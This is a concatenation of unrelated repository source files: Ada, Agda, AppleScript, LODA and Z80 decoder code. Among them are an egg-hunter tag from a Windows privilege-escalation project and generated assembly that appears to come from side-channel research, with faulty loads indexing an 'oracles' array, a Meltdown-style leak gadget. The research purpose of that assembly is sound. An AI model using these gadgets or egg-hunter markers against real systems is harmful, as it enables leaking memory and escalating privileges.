SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ -- State machines can be used to express the behavior of part of a system. -- Behavior is modeled as a traversal of a graph of state nodes -- interconnected by one or more joined transition arcs that are triggered by -- the dispatching of series of (event) occurrences. During this traversal, -- the state machine executes a series of activities associated with various -- elements of the state machine. ------------------------------------------------------------------------------ with AMF.UML.Behaviors; limited with AMF.UML.Namespaces; limited with AMF.UML.Pseudostates.Collections; limited with AMF.UML.Redefinable_Elements; limited with AMF.UML.Regions.Collections; limited with AMF.UML.State_Machines.Collections; limited with AMF.UML.States.Collections; package AMF.UML.State_Machines is pragma Preelaborate; type UML_State_Machine is limited interface and AMF.UML.Behaviors.UML_Behavior; type UML_State_Machine_Access is access all UML_State_Machine'Class; for UML_State_Machine_Access'Storage_Size use 0; not overriding function Get_Connection_Point (Self : not null access constant UML_State_Machine) return AMF.UML.Pseudostates.Collections.Set_Of_UML_Pseudostate is abstract; -- Getter of StateMachine::connectionPoint. -- -- The connection points defined for this state machine. They represent -- the interface of the state machine when used as part of submachine -- state. not overriding function Get_Extended_State_Machine (Self : not null access constant UML_State_Machine) return AMF.UML.State_Machines.Collections.Set_Of_UML_State_Machine is abstract; -- Getter of StateMachine::extendedStateMachine. -- -- The state machines of which this is an extension. not overriding function Get_Region (Self : not null access constant UML_State_Machine) return AMF.UML.Regions.Collections.Set_Of_UML_Region is abstract; -- Getter of StateMachine::region. -- -- The regions owned directly by the state machine. not overriding function Get_Submachine_State (Self : not null access constant UML_State_Machine) return AMF.UML.States.Collections.Set_Of_UML_State is abstract; -- Getter of StateMachine::submachineState. -- -- References the submachine(s) in case of a submachine state. Multiple -- machines are referenced in case of a concurrent state. not overriding function LCA (Self : not null access constant UML_State_Machine; S1 : AMF.UML.States.UML_State_Access; S2 : AMF.UML.States.UML_State_Access) return AMF.UML.Namespaces.UML_Namespace_Access is abstract; -- Operation StateMachine::LCA. -- -- The operation LCA(s1,s2) returns an orthogonal state or region which is -- the least common ancestor of states s1 and s2, based on the -- statemachine containment hierarchy. not overriding function Ancestor (Self : not null access constant UML_State_Machine; S1 : AMF.UML.States.UML_State_Access; S2 : AMF.UML.States.UML_State_Access) return Boolean is abstract; -- Operation StateMachine::ancestor. -- -- The query ancestor(s1, s2) checks whether s1 is an ancestor state of -- state s2. overriding function Is_Consistent_With (Self : not null access constant UML_State_Machine; Redefinee : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean is abstract; -- Operation StateMachine::isConsistentWith. -- -- The query isConsistentWith() specifies that a redefining state machine -- is consistent with a redefined state machine provided that the -- redefining state machine is an extension of the redefined state -- machine: Regions are inherited and regions can be added, inherited -- regions can be redefined. In case of multiple redefining state -- machines, extension implies that the redefining state machine gets -- orthogonal regions for each of the redefined state machines. not overriding function Is_Redefinition_Context_Valid (Self : not null access constant UML_State_Machine; Redefined : AMF.UML.State_Machines.UML_State_Machine_Access) return Boolean is abstract; -- Operation StateMachine::isRedefinitionContextValid. -- -- The query isRedefinitionContextValid() specifies whether the -- redefinition contexts of a statemachine are properly related to the -- redefinition contexts of the specified statemachine to allow this -- element to redefine the other. The containing classifier of a -- redefining statemachine must redefine the containing classifier of the -- redefined statemachine. end AMF.UML.State_Machines;
scripts/CaptureOne/Clear GPS content.applescript
bezineb5/gps-toolchain
0
2222
display dialog "This will clear the content of the GPS. Are you sure?" default button "Cancel" display dialog "Just to confirm: this will clear the content of the GPS. Are you sure?" default button "Cancel" do shell script "eval `/usr/libexec/path_helper -s`; python3 -m gt2gpx --usb purge" -- Notify the user display notification "GPS device cleared"
04-cubical-type-theory/material/ExerciseSession3.agda
williamdemeo/EPIT-2020
1
7676
-- Exercises for session 3 -- -- If unsure which exercises to do start with those marked with * -- {-# OPTIONS --cubical --allow-unsolved-metas #-} module ExerciseSession3 where open import Part1 open import Part2 open import Part3 open import Part4 open import ExerciseSession1 hiding (B) open import Cubical.Foundations.Isomorphism open import Cubical.Data.Nat open import Cubical.Data.Int hiding (neg) -- Exercise* 1: prove associativity of _++_ for FMSet. -- (hint: mimic the proof of unitr-++) -- Exercise 2: define the integers as a HIT with a pos and neg -- constructor each taking a natural number as well as a path -- constructor equating pos 0 and neg 0. -- Exercise 3 (a little longer, but not very hard): prove that the -- above definition of the integers is equal to the ones in -- Cubical.Data.Int. Deduce that they form a set. -- Exercise* 4: we can define the notion of a surjection as: isSurjection : (A → B) → Type _ isSurjection {A = A} {B = B} f = (b : B) → ∃ A (λ a → f a ≡ b) -- The exercise is now to: -- -- a) prove that being a surjection is a proposition -- -- b) prove that the inclusion ∣_∣ : A → ∥ A ∥ is surjective -- (hint: use rec for ∥_∥) -- Exercise* 5: define intLoop : Int → ΩS¹ intLoop = {!!} -- which given +n return loop^n and given -n returns loop^-n. Then -- prove that: windingIntLoop : (n : Int) → winding (intLoop n) ≡ n windingIntLoop = {!!} -- (The other direction is much more difficult and relies on the -- encode-decode method. See Egbert's course on Friday!) -- Exercise 6 (harder): the suspension of a type can be defined as data Susp (A : Type ℓ) : Type ℓ where north : Susp A south : Susp A merid : (a : A) → north ≡ south -- Prove that the circle is equal to the suspension of Bool S¹≡SuspBool : S¹ ≡ Susp Bool S¹≡SuspBool = {!!} -- Hint: define maps back and forth and prove that they cancel.
programs/oeis/288/A288687.asm
neoneye/loda
22
22084
; A288687: Number of n-digit biquanimous strings using digits {0,1,2,3}. ; 1,1,4,19,92,421,1830,7687,31624,128521,518666,2084875,8361996,33497101,134094862,536608783,2146926608,8588754961,34357248018,137433710611,549744803860,2199000186901,8796044787734,35184271425559,140737278640152,562949517213721,2251798907715610,9007197375692827,36028793126649884,144115180022792221,576460735660425246,2305842974853955615,9223371965987815456,36893488001390215201,147573952289028702242,590295809740230361123,2361183240163512287268,9444732963127950311461,37778931857597042524198,151115727440833530560551,604462909784774598983720,2417851639183078861045801,9671406556822475397660714,38685626227474619544109099,154742504910276710176391212,618970019641880896891519021,2475880078569106884310073390,9903520314279664499472465967,39614081257125272659842564144,158456325028514601438252367921,633825300114085990300727115826,2535301200456400256198250594355,10141204801825715866583500324916,40564819207303097653514624565301,162259276829212867995618999533622,649037107316852444759995510161463,2596148429267411760623818083663928,10384593717069651077720538458619961,41538374868278612525447874158264378,166153499473114466819153313432338491,664613997892457901287797639631339580 lpb $0 mov $2,2 pow $2,$0 sub $0,1 sub $0,$2 mul $2,$0 mul $0,2 sub $0,$2 mov $1,$0 mov $0,1 lpe div $1,2 add $1,1 mov $0,$1
src/WinEoP/Utils/EggTag.asm
quangnh89/WinEoP
25
243088
IFDEF I386 .586 .model flat, stdcall ENDIF .code wineop IFDEF I386 EggTag PROC public db 'Tx86Tx86' EggTag ENDP ELSEIFDEF AMD64 EggTag PROC public db 'Tx64Tx64' EggTag ENDP ENDIF END
test/Fail/Issue2057.agda
cruhland/agda
1,989
9660
<gh_stars>1000+ record R (A : Set) : Set₁ where field P : A → Set p : (x : A) → P x module M (r : (A : Set) → R A) where open module R′ {A : Set} = R (r A) public postulate r : (A : Set) → R A A : Set open M r internal-error : (x : A) → P x internal-error x = p
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_2199_834.asm
ljhsiun2/medusa
9
103412
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x3f36, %r11 nop nop nop and %rbp, %rbp mov (%r11), %si nop nop nop nop sub $25286, %rdi lea addresses_WT_ht+0xaf36, %rsi lea addresses_WC_ht+0x84e, %rdi nop nop nop nop and $30841, %rbx mov $49, %rcx rep movsl nop nop nop lfence lea addresses_normal_ht+0xf736, %rbp clflush (%rbp) nop xor %r13, %r13 mov (%rbp), %di add $26437, %r13 lea addresses_normal_ht+0x6266, %rsi lea addresses_normal_ht+0xd2b6, %rdi clflush (%rsi) nop nop xor %rbx, %rbx mov $44, %rcx rep movsw nop nop nop nop nop sub $10377, %rbp lea addresses_D_ht+0x14736, %r13 xor $56175, %rsi mov $0x6162636465666768, %rbp movq %rbp, %xmm0 movups %xmm0, (%r13) nop nop nop nop nop xor $40928, %rdi lea addresses_D_ht+0x111a6, %rsi lea addresses_normal_ht+0xd426, %rdi nop nop nop add $52096, %rbp mov $15, %rcx rep movsl nop nop nop nop nop xor %rdi, %rdi lea addresses_D_ht+0xacb6, %rsi lea addresses_A_ht+0xb0a6, %rdi nop nop nop nop nop xor %r15, %r15 mov $96, %rcx rep movsq nop nop nop nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %rax push %rbx push %rcx // Faulty Load lea addresses_RW+0x1e336, %rbx nop nop nop nop cmp %rcx, %rcx vmovups (%rbx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r13 lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rcx pop %rbx pop %rax pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}} {'32': 2199} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
playflx/retired_decoders.asm
ped7g/specnext
0
171898
; ------------------------------------------------------------------------ LINEARRLE8: ;chunktype = 102; printf("l"); break; ; [runbytes][runvalue] ; op >= 0 [copybytes][..bytes..] ; op < 0 [-runbytes][runvalue] call readword ; hl = bytes in block ld de, 0 ; screen offset decodeloopLRLE8: push hl ; [runbytes][runvalue] call readbyte ld b, 0 ld c, a call readbyte push de push bc call screenfill pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl dec hl ld a, h or a, l jp z, blockdone push hl call readbyte or a jp p, copyLRLE8 ; op < 0 [-runbytes][runvalue] neg ld b, 0 ld c, a call readbyte push de push bc call screenfill pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl dec hl ld a, h or a, l jp z, blockdone jp decodeloopLRLE8 copyLRLE8: ; op >= 0 [copybytes][..bytes..] ld b, 0 ld c, a push de push bc call screencopyfromfile pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl or a ; clear carry sbc hl, bc ld a, h or a, l jp z, blockdone jr decodeloopLRLE8 ; ------------------------------------------------------------------------ LINEARRLE16: ; op >= 0, copy op bytes ; op < 0, run -op bytes except if op == -128, read next 2 bytes and run with that call readword ; hl = bytes in block ld de, 0 ; screen offset decodeloopLRLE16: push hl call readbyte or a jp p, copyLRLE16 ; op < 0, run -op bytes except if op == -128, read next 2 bytes and run with that cp -128 jr z, longrunLRLE16 neg ld b, 0 ld c, a jr runLRLE16 longrunLRLE16: pop hl dec hl dec hl push hl call readword ld bc, hl ; fake-ok runLRLE16: call readbyte push de push bc call screenfill pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl dec hl ld a, h or a, l jp z, blockdone jp decodeloopLRLE16 copyLRLE16: ; op >= 0, copy op bytes ld b, 0 ld c, a push bc push de call screencopyfromfile pop de pop bc ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl or a ; clear carry sbc hl, bc ld a, h or a, l jp z, blockdone jr decodeloopLRLE16 ; ------------------------------------------------------------------------ LINEARDELTA8: ;chunktype = 104; printf("e"); break; ; op >= 0: [op][runbyte] - run op bytes ; op < 0: [-op] - copy -op bytes from prevframe ; op > 0: [op][..bytes..] - copy op bytes from file ; op <= 0: [-op] - copy -op bytes from prevframe call readword ; hl = bytes in block ld de, 0 ; screen offset tickLD8: push hl call readbyte or a jp m, copyprevLD8_a ; op >= 0: [op][runbyte] - run op bytes ld b, 0 ld c, a call readbyte push de push bc call screenfill pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl dec hl ld a, h or a, l jp z, blockdone tockLD8: push hl call readbyte or a jp m, copyprevLD8_b ; op > 0: [op][..bytes..] - copy op bytes from file ld b, 0 ld c, a push de push bc call screencopyfromfile pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl or a ; clear carry sbc hl, bc ld a, h or a, l jp z, blockdone jr tickLD8 copyprevLD8_a: ; op < 0: [-op] - copy -op bytes from prevframe neg ld b, 0 ld c, a push bc push de ld ix, de ; fake-ok call screencopyfromprevframe pop de pop bc ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl ld a, h or a, l jp z, blockdone jr tockLD8 copyprevLD8_b: ; op < 0: [-op] - copy -op bytes from prevframe neg ld b, 0 ld c, a push bc push de ld ix, de ; fake-ok call screencopyfromprevframe pop de pop bc ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl ld a, h or a, l jp z, blockdone jp tickLD8 ; ------------------------------------------------------------------------ LINEARDELTA16: ;chunktype = 105; printf("E"); break; ; op >= 0: [op][runbyte] - run op bytes, if 127, read 2 more bytes for run length ; op < 0: [-op] - copy -op bytes from prevframe, if -128, read 2 more bytes for run length ; op > 0: [op][..bytes..] - copy op bytes from file ; op <= 0: [-op] - copy -op bytes from prevframe, if -128, read 2 more bytes for run length call readword ; hl = bytes in block ld de, 0 ; screen offset tickLD16: push hl call readbyte or a jp m, copyprevLD16_a ; op >= 0: [op][runbyte] - run op bytes, if 127, read 2 more bytes for run length cp 127 jr z, golongrunLD16 ld b, 0 ld c, a jr gorunLD16 golongrunLD16: pop hl dec hl dec hl push hl call readword ld bc, hl ; fake-ok gorunLD16: call readbyte push de push bc call screenfill pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl dec hl ld a, h or a, l jp z, blockdone tockLD16: push hl call readbyte or a jp m, copyprevLD16_b ; op > 0: [op][..bytes..] - copy op bytes from file ld b, 0 ld c, a push de push bc call screencopyfromfile pop bc pop de ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl or a ; clear carry sbc hl, bc ld a, h or a, l jp z, blockdone jr tickLD16 copyprevLD16_a: ; op < 0: [-op] - copy -op bytes from prevframe, if -128, read 2 more bytes for run length cp -128 jr z, longcopyLD16a neg ld b, 0 ld c, a jr docopyLD16a longcopyLD16a: pop hl dec hl dec hl push hl call readword ld bc, hl ; fake-ok docopyLD16a: push bc push de ld ix, de ; fake-ok call screencopyfromprevframe pop de pop bc ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl ld a, h or a, l jp z, blockdone jr tockLD16 copyprevLD16_b: ; op < 0: [-op] - copy -op bytes from prevframe, if -128, read 2 more bytes for run length cp -128 jr z, longcopyLD16b neg ld b, 0 ld c, a jr docopyLD16b longcopyLD16b: pop hl dec hl dec hl push hl call readword ld bc, hl ; fake-ok docopyLD16b: push bc push de ld ix, de ; fake-ok call screencopyfromprevframe pop de pop bc ex de, hl ; add hl, bc ; add de, bc ex de, hl ; pop hl dec hl ld a, h or a, l jp z, blockdone jp tickLD16 LZ1: ; retired ; [16 bit offset][8 bit runlen] copy from previous ; op >= 0 [op][.. op bytes ..] ; op < 0 [-op][run byte] LZ2: ; retired ; [16 bit offset][16 bit len] copy from previous ; op >= 0 [op][.. op bytes ..] ; op < 0 [-op][run byte] LZ2B: ; retired ; op < 0 [-(op << 8 | 8 bits) runlen][16 bit ofs] copy from previous ; op >= 0 [op][run byte] ; [copylen][.. bytes ..]
test/Succeed/DeadCodePatSyn.agda
cruhland/agda
1,989
5922
module _ where open import DeadCodePatSyn.Lib typeOf : {A : Set} → A → Set typeOf {A} _ = A -- Check that pattern synonyms count when computing dead code f : typeOf not-hidden → Set₁ f not-hidden = Set
bb-runtimes/examples/monitor/common/dumps.ads
JCGobbi/Nucleo-STM32G474RE
0
25701
<filename>bb-runtimes/examples/monitor/common/dumps.ads ------------------------------------------------------------------------------ -- -- -- GNAT EXAMPLE -- -- -- -- Copyright (C) 2013-2016, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Interfaces; use Interfaces; package Dumps is subtype String16 is String (1 .. 16); subtype String8 is String (1 .. 8); subtype String4 is String (1 .. 4); subtype String2 is String (1 .. 2); function Hex8 (V : Unsigned_64) return String16; function Hex4 (V : Unsigned_32) return String8; function Hex2 (V : Unsigned_32) return String4; function Hex1 (V : Unsigned_32) return String2; function Image8 (V : Unsigned_32) return String8 renames Hex4; function Image4 (V : Unsigned_32) return String4 renames Hex2; function Image2 (V : Unsigned_32) return String2 renames Hex1; function Image1 (V : Unsigned_32) return Character; -- Hexadecimal conversion procedure Put (V : Natural); -- Decimal output procedure Put_Bit (Set : Boolean; Name : Character); -- If Set is true, display Name otherwise display '-' procedure Put_Register_Desc (Val : Unsigned_32; Desc : String); -- Display bits of value Val. The parameter Desc is a string that -- describes the fields of the value. It is composed of a comma separated -- list. Each element of the list is either (without the quotes, length is -- a decimal number, name is a string without comma): -- * 'name': describes a bit, will be printed if the bit is set -- * 'length': describes a reserved fields, not printed -- * 'length:name': describes a field, will print name=value procedure Put_Register (Name : String; Val : Unsigned_32; Desc : String); -- Display name, its value and its bits using the above procedure. end Dumps;
Data/Binary/Definition.agda
oisdk/agda-playground
6
15115
<gh_stars>1-10 {-# OPTIONS --without-K --safe #-} module Data.Binary.Definition where open import Level open import Data.Bits public renaming (Bits to 𝔹; [] to 0ᵇ; 0∷_ to 1ᵇ_; 1∷_ to 2ᵇ_) -- The following causes a performance hit: -- open import Agda.Builtin.List using ([]; _∷_; List) -- open import Agda.Builtin.Bool using (Bool; true; false) -- 𝔹 : Type -- 𝔹 = List Bool -- infixr 8 1ᵇ_ 2ᵇ_ -- pattern 0ᵇ = [] -- pattern 1ᵇ_ xs = false ∷ xs -- pattern 2ᵇ_ xs = true ∷ xs
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_13425_611.asm
ljhsiun2/medusa
9
9613
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x93a0, %r9 nop nop nop nop nop sub %r15, %r15 mov (%r9), %r10d nop nop nop inc %rsi lea addresses_D_ht+0xb3a0, %rsi lea addresses_D_ht+0x1cba0, %rdi nop nop xor %r13, %r13 mov $2, %rcx rep movsl nop nop nop xor $27062, %rcx pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0x10a0, %rsi lea addresses_WT+0x6e72, %rdi add %rax, %rax mov $64, %rcx rep movsl nop sub %rsi, %rsi // REPMOV lea addresses_normal+0xa550, %rsi lea addresses_normal+0x84a0, %rdi sub $51396, %rax mov $22, %rcx rep movsb nop nop nop nop inc %r15 // Store lea addresses_WC+0x19920, %r12 nop nop nop nop and $20550, %rcx mov $0x5152535455565758, %rdi movq %rdi, (%r12) nop nop xor %rdi, %rdi // Faulty Load lea addresses_WT+0x13a0, %r15 nop nop nop add %r9, %r9 movntdqa (%r15), %xmm1 vpextrq $0, %xmm1, %rsi lea oracles, %rax and $0xff, %rsi shlq $12, %rsi mov (%rax,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'39': 13425} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 